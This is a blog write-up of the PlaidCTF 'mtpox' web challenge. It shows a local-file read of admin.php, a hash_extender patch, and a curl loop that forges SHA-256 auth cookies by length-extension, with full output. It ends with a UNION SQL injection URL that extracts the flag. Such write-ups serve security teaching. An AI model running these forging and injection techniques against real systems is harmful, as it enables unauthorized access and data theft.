PlaidCTF writeup for Web-150 – mtpox (hash extension attack)

Hey folks,

This is going to be my first of a couple writeups about this past weekend’s CTF: PlaidCTF!

My first writeup is for a 150-point Web level called mtpox. I chose this one to do first not only because it’s the first level I completed, but also because the primary vulnerability was a hash extension issue, and I wrote one of most popular tools for exploiting those. So it’s like the level made for me!

(Actually, there’s another level that I wrote a less popular tool for. I’ll talk about that one in my next post. :) ) Just for fun, here’s an activity graph on github for the weekend:

Lots of traffic!

Step 1: source code disclosure

So, I actually didn’t solve this part, I was still trying to get access to PlaidCTF while my teammate Andrew Orr solved it.

Basically, you arrive at a site and browse around:

  • http://54.211.6.40/index.php
  • http://54.211.6.40/index.php?page=about
  • ...etc.

(Note that those IP addresses won’t work for long, they might add new ones for a few days after the competition, then they’re gone forever)

There’s also an interesting link at the top:

  • http://54.211.6.40/admin.php

Which, when clicked, says “Sorry, not authorized”. I guess we have to get authorized!

What Andrew discovered is that you can modify the ?page= request parameter to read the admin.php page:

  • http://54.211.6.40/?page=admin.php

Which returns:

<?php
  require_once("secrets.php");
  $auth = false;
  if (isset($_COOKIE["auth"])) {
     $auth = unserialize($_COOKIE["auth"]);
     $hsh = $_COOKIE["hsh"];
     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {
       $auth = false;
     }
  }
  else {
    $auth = false;
    $s = serialize($auth);
    setcookie("auth", $s);
    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));
  }
  if ($auth) {
    if (isset($_GET['query'])) {
      $link = mysql_connect('localhost', $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error());
      mysql_select_db($SQL_DATABASE) or die('Could not select database');
      $qstr = mysql_real_escape_string($_GET['query']);
      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";
      $result = mysql_query($query) or die('Query failed: ' . mysql_error());
      $line = mysql_fetch_array($result, MYSQL_ASSOC);
      foreach ($line as $col_value) {
        echo "Wallet " . $_GET['query'] . " contains " . $col_value . " coins.";
      }
    } else {
       echo "<html><head><title>MtPOX Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
    }
  }
  else echo "Sorry, not authorized.";
?>

There is an obvious SQL Injection vulnerability here:

      mysql_select_db($SQL_DATABASE) or die('Could not select database');
      $qstr = mysql_real_escape_string($_GET['query']);
      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";

… which I’ll cover at the end, but first we need to access the page!

In comes hash extension

If you’ve never heard of hash extension attacks, check out the blog I wrote about them —it’s the most popular non-Wikipedia result on Google (just sayin’ :) ). I’m not going to go over the attacks in general, that page does a pretty thorough job of it. Please check it out if you get lost!

Anyway, the second I saw this line:

     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {

I immediately recognized the hash extension vulnerablity. If you ever see somebody concatenating a secret with something in a hashing function, consider hash extension.

Great, so what’s that mean? It means that I can add arbitrary data to the end of the string, and generate a new authentication token for it. What’s that get us?

Well, to understand that, we have to first understand how the authentication works for this site.

When you visit for the first time—with no cookie—this code executes:

    $auth = false;
    $s = serialize($auth);
    setcookie("auth", $s);
    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));

Your cookie is a serialized PHP datatype, in this case simply ‘false’. The hsh token is generated by prepending a secret to the reversed version of the authentication string (and btw, I really appreciate that they decided to reverse it; this would have been difficult or impossible otherwise!)

Those two cookies are set. Then later, when you return, the cookies are sent back and validated:

  if (isset($_COOKIE["auth"])) {
     $auth = unserialize($_COOKIE["auth"]);
     $hsh = $_COOKIE["hsh"];
     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {
       $auth = false;
     }

$auth is read from the token, then the token is validated. If the validation fails, it’s set to false.

Creating a valid token

Basically, I want to make my token deserialize to ‘true’, somehow, then generate a proper checksum for it. First, let’s look at the cookies it sets! I used the Firefox plugin for this, because it makes it easy to view and edit cookies. But you can use any technique you want for that. I find out that my cookies for mtpox are:

  • auth=b%3A0%3B
  • hsh=ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3

b%3A0%3B actually decodes to “b:0;”. Boolean zero (false). The true value will be “b:1;”. That’s the value I want to append. The one important thing I don’t know is the length of $SECRET, which is unfortunately important for this attack. But, I can bruteforce that!

But before I do anything, I need to tweak hash_extender a little bit, because this challenge requires the string to be reversed before being validated. After all, it wouldn’t be a proper CTF if existent tools could do everything! Here’s the diff against the latest git version:

diff --git a/hash_extender.c b/hash_extender.c
index 408a4ca..370e52c 100644
--- a/hash_extender.c
+++ b/hash_extender.c
@@ -75,18 +75,15 @@ static void output(options_t *options, char *type, uint64_t secret_length, uint8
   }
   else
   {
-    printf("Type: %s\n", type);
+    uint8_t reversed[new_data_length];
+    int i;

-    printf("Secret length: %"PRId64"\n", secret_length);
+    for(i = 0; i < new_data_length; i++)
+      reversed[new_data_length - i - 1] = new_data[i];

-    printf("New signature: ");
     output_format(options->out_signature_format, new_signature, hash_type_digest_size(type));
-    printf("\n");
-
-    printf("New string: ");
-    output_format(options->out_data_format, new_data, new_data_length);
-    printf("\n");
-
+    printf(",");
+    output_format(options->out_data_format, reversed, new_data_length);
     printf("\n");
   }
 }

Basically, we just reverse the string first, and tweak the output to make it easier to script. Then, we run hash_extender like this:

./hash_extender --data ';0:b' -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 --append ';1:b' --secret-min=1 --secret-max=32 --out-data-format=html

This tells it to try every secret length between 1 and 32 bytes. One of them is bound to work!

<UPDATE> Thanks to an anonymous commenter who informed me that PlaidCTF actually tells us what the length of $SECRET was. The main Web site was down for the whole time I was working on this level (it was right at the start), so I never actually read the description :(

Here’s what it looks like running:

$ ./hash_extender --data ';0:b' -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 --append ';1:b' --secret-min=1 --secret-max=32 --out-data-format=html
967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1,b%3a1%3b%28%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1,b%3a1%3b0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1,b%3a1%3b8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1,b%3a1%3b%40%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1,b%3a1%3bH%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1,b%3a1%3bP%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
...etc

Then we can throw together a quick little shellscript to feed each of them into curl:

for i in `./hash_extender --data ';0:b' -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 --append ';1:b' --secret-min=1 --secret-max=32 --out-data-format=html`; do HASH=`echo $i | sed 's/,.*//'`; DATA=`echo $i | sed 's/.*,//'`; echo "$DATA :: $HASH"; curl -b "auth=$DATA;hsh=$HASH" http://54.211.6.40/admin.php; echo; done

It’s a big ugly mess, but that’s the way it is with one-liners. :)

Run that against the real server:

for i in `./hash_extender --data ';0:b' -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 --append ';1:b' --secret-min=1 --secret-max=32 --out-data-format=html`; do HASH=`echo $i | sed 's/,.*//'`; DATA=`echo $i | sed 's/.*,//'`; echo "$DATA :: $HASH"; curl -b "auth=$DATA;hsh=$HASH" http://54.211.6.40/admin.php; echo; done
b%3a1%3b%28%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
Sorry, not authorized.
b%3a1%3b0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
Sorry, not authorized.
b%3a1%3b8%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
Sorry, not authorized.
b%3a1%3b%40%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
Sorry, not authorized.
b%3a1%3bH%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
Sorry, not authorized.
b%3a1%3bP%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
Sorry, not authorized.
b%3a1%3bX%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
Sorry, not authorized.
b%3a1%3b%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
<html><head><title>MtPOX Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>
b%3a1%3bh%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b :: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
Sorry, not authorized.

And look at that! We found an admin page! We need the cookies:

  • auth=b%3a1%3b%60%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80b%3a0%3b
  • hsh=967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1

So we set those in our browser using whatever technique you want, and go to the admin page!

SQL Injection

Basically, on the admin panel, you’re presented with a very simple HTML form. You can search by wallet id for how many coins they have. For example, if you type wallet 0, you see “Wallet 0 contains 1333337 coins.”. Easy!

This is where one of my biggest complaints about PlaidCTF comes in, and it was endemic throughout the challenge: they don’t tell you what your goal is. I thought the flag must be ‘1333337’ because they simply asked you to break in.

Anyway, the vulnerable line was this one:

      $qstr = mysql_real_escape_string($_GET['query']);
      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";

Even though $qstr is escaped, there aren’t any quotes around it in the query, and therefore you can inject by simply using a space. For example, if I set my query to “1 union select id from anothertable”, I’m now selecting from that other table (and I didn’t even need quotes!). And this, people, is why you use prepared statements (or equivalent) and you don’t use mysql_real_escape_string()!

Anyway, after exploring the server for awhile—I’m not going to dig into it any further in this writeup, since the same techniques were used in another writeup that’s a little cleaner to demonstrate—I found a table called plaidcoin_wallets. I could select from it like this:

  • http://54.211.6.40/admin.php?query=1+union+select+id+from+plaidcoin_wallets

And boom! I had the flag:

Wallet 1 union select id from plaidcoin_wallets contains flag{phpPhPphpPPPphpcoin} coins.

Comments

Join the conversation on this Mastodon post (replies will appear below)!

    Loading comments...